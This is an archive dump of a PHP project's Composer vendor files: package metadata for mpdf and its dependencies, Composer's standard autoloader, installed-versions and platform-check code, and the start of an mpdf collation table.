5795})();{ "packages": [ { "name": "mpdf/mpdf", "version": "v8.0.5", "version_normalized": "8.0.5.0", "source": { "type": "git", "url": "https://github.com/mpdf/mpdf.git", "reference": "bad32aa9cd5958175aef185c02e032ddbadc56ea" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/mpdf/mpdf/zipball/bad32aa9cd5958175aef185c02e032ddbadc56ea", "reference": "bad32aa9cd5958175aef185c02e032ddbadc56ea", "shasum": "" }, "require": { "ext-gd": "*", "ext-mbstring": "*", "myclabs/deep-copy": "^1.7", "paragonie/random_compat": "^1.4|^2.0|9.99.99", "php": "^5.6 || ~7.0.0 || ~7.1.0 || ~7.2.0 || ~7.3.0 || ~7.4.0", "psr/log": "^1.0", "setasign/fpdi": "^2.1" }, "require-dev": { "mockery/mockery": "^0.9.5", "mpdf/qrcode": "^1.0.0", "phpunit/phpunit": "^5.0", "squizlabs/php_codesniffer": "^3.5.0", "tracy/tracy": "^2.4" }, "suggest": { "ext-bcmath": "Needed for generation of some types of barcodes", "ext-xml": "Needed mainly for SVG manipulation", "ext-zlib": "Needed for compression of embedded resources, such as fonts" }, "time": "2020-02-05T08:43:46+00:00", "type": "library", "extra": { "branch-alias": { "dev-development": "7.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Mpdf\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-only" ], "authors": [ { "name": "MatÄ›j Humpál", "role": "Developer, maintainer" }, { "name": "Ian Back", "role": "Developer (retired)" } ], "description": "PHP library generating PDF files from UTF-8 encoded HTML", "homepage": "https://mpdf.github.io", "keywords": [ "pdf", "php", "utf-8" ], "install-path": "../mpdf/mpdf" }, { "name": "myclabs/deep-copy", "version": "1.9.5", "version_normalized": "1.9.5.0", "source": { "type": "git", "url": "https://github.com/myclabs/DeepCopy.git", "reference": "b2c28789e80a97badd14145fda39b545d83ca3ef" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/b2c28789e80a97badd14145fda39b545d83ca3ef", "reference": "b2c28789e80a97badd14145fda39b545d83ca3ef", "shasum": "" }, "require": { "php": "^7.1" }, "replace": { "myclabs/deep-copy": "self.version" }, "require-dev": { "doctrine/collections": "^1.0", "doctrine/common": "^2.6", "phpunit/phpunit": "^7.1" }, "time": "2020-01-17T21:11:47+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "DeepCopy\\": "src/DeepCopy/" }, "files": [ "src/DeepCopy/deep_copy.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "description": "Create deep copies (clones) of your objects", "keywords": [ "clone", "copy", "duplicate", "object", "object graph" ], "install-path": "../myclabs/deep-copy" }, { "name": "paragonie/random_compat", "version": "v9.99.99", "version_normalized": "9.99.99.0", "source": { "type": "git", "url": "https://github.com/paragonie/random_compat.git", "reference": "84b4dfb120c6f9b4ff7b3685f9b8f1aa365a0c95" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/paragonie/random_compat/zipball/84b4dfb120c6f9b4ff7b3685f9b8f1aa365a0c95", "reference": "84b4dfb120c6f9b4ff7b3685f9b8f1aa365a0c95", "shasum": "" }, "require": { "php": "^7" }, "require-dev": { "phpunit/phpunit": "4.*|5.*", "vimeo/psalm": "^1" }, "suggest": { "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes." }, "time": "2018-07-02T15:55:56+00:00", "type": "library", "installation-source": "dist", "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Paragon Initiative Enterprises", "email": "security@paragonie.com", "homepage": "https://paragonie.com" } ], "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7", "keywords": [ "csprng", "polyfill", "pseudorandom", "random" ], "install-path": "../paragonie/random_compat" }, { "name": "psr/log", "version": "1.1.3", "version_normalized": "1.1.3.0", "source": { "type": "git", "url": "https://github.com/php-fig/log.git", "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc", "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc", "shasum": "" }, "require": { "php": ">=5.3.0" }, "time": "2020-03-23T09:12:05+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Log\\": "Psr/Log/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "description": "Common interface for logging libraries", "homepage": "https://github.com/php-fig/log", "keywords": [ "log", "psr", "psr-3" ], "install-path": "../psr/log" }, { "name": "setasign/fpdi", "version": "v2.3.2", "version_normalized": "2.3.2.0", "source": { "type": "git", "url": "https://github.com/Setasign/FPDI.git", "reference": "527761458f504882ab844f15754523825647f291" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/Setasign/FPDI/zipball/527761458f504882ab844f15754523825647f291", "reference": "527761458f504882ab844f15754523825647f291", "shasum": "" }, "require": { "ext-zlib": "*", "php": "^5.6 || ^7.0" }, "conflict": { "setasign/tfpdf": "<1.31" }, "require-dev": { "phpunit/phpunit": "~5.7", "setasign/fpdf": "~1.8", "setasign/tfpdf": "1.31", "tecnickcom/tcpdf": "~6.2" }, "suggest": { "setasign/fpdf": "FPDI will extend this class but as it is also possible to use TCPDF or tFPDF as an alternative. There's no fixed dependency configured." }, "time": "2020-03-23T15:53:59+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "setasign\\Fpdi\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Jan Slabon", "email": "jan.slabon@setasign.com", "homepage": "https://www.setasign.com" }, { "name": "Maximilian Kresse", "email": "maximilian.kresse@setasign.com", "homepage": "https://www.setasign.com" } ], "description": "FPDI is a collection of PHP classes facilitating developers to read pages from existing PDF documents and use them as templates in FPDF. Because it is also possible to use FPDI with TCPDF, there are no fixed dependencies defined. Please see suggestions for packages which evaluates the dependencies automatically.", "homepage": "https://www.setasign.com/fpdi", "keywords": [ "fpdf", "fpdi", "pdf" ], "install-path": "../setasign/fpdi" } ], "dev": true, "dev-package-names": [] } vendor/composer/InstalledVersions.php000064400000035234147600022140014054 0ustar00 * Jordi Boggiano * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer; use Composer\Autoload\ClassLoader; use Composer\Semver\VersionParser; /** * This class is copied in every Composer installed project and available to all * * See also https://getcomposer.org/doc/07-runtime.md#installed-versions * * To require its presence, you can require `composer-runtime-api ^2.0` * * @final */ class InstalledVersions { /** * @var mixed[]|null * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array}|array{}|null */ private static $installed; /** * @var bool|null */ private static $canGetVendors; /** * @var array[] * @psalm-var array}> */ private static $installedByVendor = array(); /** * Returns a list of all package names which are present, either by being installed, replaced or provided * * @return string[] * @psalm-return list */ public static function getInstalledPackages() { $packages = array(); foreach (self::getInstalled() as $installed) { $packages[] = array_keys($installed['versions']); } if (1 === \count($packages)) { return $packages[0]; } return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); } /** * Returns a list of all package names with a specific type e.g. 'library' * * @param string $type * @return string[] * @psalm-return list */ public static function getInstalledPackagesByType($type) { $packagesByType = array(); foreach (self::getInstalled() as $installed) { foreach ($installed['versions'] as $name => $package) { if (isset($package['type']) && $package['type'] === $type) { $packagesByType[] = $name; } } } return $packagesByType; } /** * Checks whether the given package is installed * * This also returns true if the package name is provided or replaced by another package * * @param string $packageName * @param bool $includeDevRequirements * @return bool */ public static function isInstalled($packageName, $includeDevRequirements = true) { foreach (self::getInstalled() as $installed) { if (isset($installed['versions'][$packageName])) { return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']); } } return false; } /** * Checks whether the given package satisfies a version constraint * * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: * * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') * * @param VersionParser $parser Install composer/semver to have access to this class and functionality * @param string $packageName * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package * @return bool */ public static function satisfies(VersionParser $parser, $packageName, $constraint) { $constraint = $parser->parseConstraints($constraint); $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); return $provided->matches($constraint); } /** * Returns a version constraint representing all the range(s) which are installed for a given package * * It is easier to use this via isInstalled() with the $constraint argument if you need to check * whether a given version of a package is installed, and not just whether it exists * * @param string $packageName * @return string Version constraint usable with composer/semver */ public static function getVersionRanges($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } $ranges = array(); if (isset($installed['versions'][$packageName]['pretty_version'])) { $ranges[] = $installed['versions'][$packageName]['pretty_version']; } if (array_key_exists('aliases', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); } if (array_key_exists('replaced', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); } if (array_key_exists('provided', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); } return implode(' || ', $ranges); } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['version'])) { return null; } return $installed['versions'][$packageName]['version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getPrettyVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['pretty_version'])) { return null; } return $installed['versions'][$packageName]['pretty_version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference */ public static function getReference($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['reference'])) { return null; } return $installed['versions'][$packageName]['reference']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. */ public static function getInstallPath($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @return array * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string} */ public static function getRootPackage() { $installed = self::getInstalled(); return $installed[0]['root']; } /** * Returns the raw installed.php data for custom implementations * * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. * @return array[] * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} */ public static function getRawData() { @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = include __DIR__ . '/installed.php'; } else { self::$installed = array(); } } return self::$installed; } /** * Returns the raw data of all installed.php which are currently loaded for custom implementations * * @return array[] * @psalm-return list}> */ public static function getAllRawData() { return self::getInstalled(); } /** * Lets you reload the static array from another file * * This is only useful for complex integrations in which a project needs to use * this class but then also needs to execute another project's autoloader in process, * and wants to ensure both projects have access to their version of installed.php. * * A typical case would be PHPUnit, where it would need to make sure it reads all * the data it needs from this class, then call reload() with * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure * the project in which it runs can then also use this class safely, without * interference between PHPUnit's dependencies and the project's dependencies. * * @param array[] $data A vendor/composer/installed.php data set * @return void * * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} $data */ public static function reload($data) { self::$installed = $data; self::$installedByVendor = array(); } /** * @return array[] * @psalm-return list}> */ private static function getInstalled() { if (null === self::$canGetVendors) { self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); } $installed = array(); if (self::$canGetVendors) { foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { if (isset(self::$installedByVendor[$vendorDir])) { $installed[] = self::$installedByVendor[$vendorDir]; } elseif (is_file($vendorDir.'/composer/installed.php')) { $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php'; if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { self::$installed = $installed[count($installed) - 1]; } } } } if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = require __DIR__ . '/installed.php'; } else { self::$installed = array(); } } $installed[] = self::$installed; return $installed; } } vendor/composer/LICENSE000064400000002056147600022140010674 0ustar00 Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. vendor/composer/autoload_classmap.php000064400000000336147600022140014072 0ustar00 $vendorDir . '/composer/InstalledVersions.php', ); vendor/composer/installed.php000064400000005116147600022140012357 0ustar00 array( 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'reference' => '474c8721346ae94167036783004e85e6bc75be7e', 'name' => '__root__', 'dev' => true, ), 'versions' => array( '__root__' => array( 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'reference' => '474c8721346ae94167036783004e85e6bc75be7e', 'dev_requirement' => false, ), 'mpdf/mpdf' => array( 'pretty_version' => 'v8.0.5', 'version' => '8.0.5.0', 'type' => 'library', 'install_path' => __DIR__ . '/../mpdf/mpdf', 'aliases' => array(), 'reference' => 'bad32aa9cd5958175aef185c02e032ddbadc56ea', 'dev_requirement' => false, ), 'myclabs/deep-copy' => array( 'pretty_version' => '1.9.5', 'version' => '1.9.5.0', 'type' => 'library', 'install_path' => __DIR__ . '/../myclabs/deep-copy', 'aliases' => array(), 'reference' => 'b2c28789e80a97badd14145fda39b545d83ca3ef', 'dev_requirement' => false, 'replaced' => array( 0 => '1.9.5', ), ), 'paragonie/random_compat' => array( 'pretty_version' => 'v9.99.99', 'version' => '9.99.99.0', 'type' => 'library', 'install_path' => __DIR__ . '/../paragonie/random_compat', 'aliases' => array(), 'reference' => '84b4dfb120c6f9b4ff7b3685f9b8f1aa365a0c95', 'dev_requirement' => false, ), 'psr/log' => array( 'pretty_version' => '1.1.3', 'version' => '1.1.3.0', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'reference' => '0f73288fd15629204f9d42b7055f72dacbe811fc', 'dev_requirement' => false, ), 'setasign/fpdi' => array( 'pretty_version' => 'v2.3.2', 'version' => '2.3.2.0', 'type' => 'library', 'install_path' => __DIR__ . '/../setasign/fpdi', 'aliases' => array(), 'reference' => '527761458f504882ab844f15754523825647f291', 'dev_requirement' => false, ), ), ); vendor/composer/ClassLoader.php000064400000037304147600022140012600 0ustar00 * Jordi Boggiano * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier * @author Jordi Boggiano * @see https://www.php-fig.org/psr/psr-0/ * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { /** @var ?string */ private $vendorDir; // PSR-4 /** * @var array[] * @psalm-var array> */ private $prefixLengthsPsr4 = array(); /** * @var array[] * @psalm-var array> */ private $prefixDirsPsr4 = array(); /** * @var array[] * @psalm-var array */ private $fallbackDirsPsr4 = array(); // PSR-0 /** * @var array[] * @psalm-var array> */ private $prefixesPsr0 = array(); /** * @var array[] * @psalm-var array */ private $fallbackDirsPsr0 = array(); /** @var bool */ private $useIncludePath = false; /** * @var string[] * @psalm-var array */ private $classMap = array(); /** @var bool */ private $classMapAuthoritative = false; /** * @var bool[] * @psalm-var array */ private $missingClasses = array(); /** @var ?string */ private $apcuPrefix; /** * @var self[] */ private static $registeredLoaders = array(); /** * @param ?string $vendorDir */ public function __construct($vendorDir = null) { $this->vendorDir = $vendorDir; } /** * @return string[] */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } /** * @return array[] * @psalm-return array> */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } /** * @return array[] * @psalm-return array */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } /** * @return array[] * @psalm-return array */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } /** * @return string[] Array of classname => path * @psalm-return array */ public function getClassMap() { return $this->classMap; } /** * @param string[] $classMap Class to filename map * @psalm-param array $classMap * * @return void */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories * * @return void */ public function add($prefix, $paths, $prepend = false) { if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( (array) $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, (array) $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = (array) $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( (array) $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], (array) $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException * * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( (array) $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, (array) $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( (array) $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], (array) $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 base directories * * @return void */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException * * @return void */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath * * @return void */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative * * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix * * @return void */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); if (null === $this->vendorDir) { return; } if ($prepend) { self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; } else { unset(self::$registeredLoaders[$this->vendorDir]); self::$registeredLoaders[$this->vendorDir] = $this; } } /** * Unregisters this instance as an autoloader. * * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); if (null !== $this->vendorDir) { unset(self::$registeredLoaders[$this->vendorDir]); } } /** * Loads the given class or interface. * * @param string $class The name of the class * @return true|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { includeFile($file); return true; } return null; } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } /** * Returns the currently registered loaders indexed by their corresponding vendor directories. * * @return self[] */ public static function getRegisteredLoaders() { return self::$registeredLoaders; } /** * @param string $class * @param string $ext * @return string|false */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } } /** * Scope isolated include. * * Prevents access to $this/self from included files. * * @param string $file * @return void * @private */ function includeFile($file) { include $file; } vendor/composer/platform_check.php000064400000001635147600022140013363 0ustar00= 70100)) { $issues[] = 'Your Composer dependencies require a PHP version ">= 7.1.0". You are running ' . PHP_VERSION . '.'; } if ($issues) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); } elseif (!headers_sent()) { echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; } } trigger_error( 'Composer detected issues in your platform: ' . implode(' ', $issues), E_USER_ERROR ); } vendor/composer/autoload_namespaces.php000064400000000213147600022140014400 0ustar00 __DIR__ . '/..' . '/myclabs/deep-copy/src/DeepCopy/deep_copy.php', ); public static $prefixLengthsPsr4 = array ( 's' => array ( 'setasign\\Fpdi\\' => 14, ), 'P' => array ( 'Psr\\Log\\' => 8, ), 'M' => array ( 'Mpdf\\' => 5, ), 'D' => array ( 'DeepCopy\\' => 9, ), ); public static $prefixDirsPsr4 = array ( 'setasign\\Fpdi\\' => array ( 0 => __DIR__ . '/..' . '/setasign/fpdi/src', ), 'Psr\\Log\\' => array ( 0 => __DIR__ . '/..' . '/psr/log/Psr/Log', ), 'Mpdf\\' => array ( 0 => __DIR__ . '/..' . '/mpdf/mpdf/src', ), 'DeepCopy\\' => array ( 0 => __DIR__ . '/..' . '/myclabs/deep-copy/src/DeepCopy', ), ); public static $classMap = array ( 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInita20fb8e4725ab5da5535bdaf1887ed97::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInita20fb8e4725ab5da5535bdaf1887ed97::$prefixDirsPsr4; $loader->classMap = ComposerStaticInita20fb8e4725ab5da5535bdaf1887ed97::$classMap; }, null, ClassLoader::class); } } vendor/mpdf/mpdf/data/collations/English_South_Africa.php000064400000002551147600022140017525 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 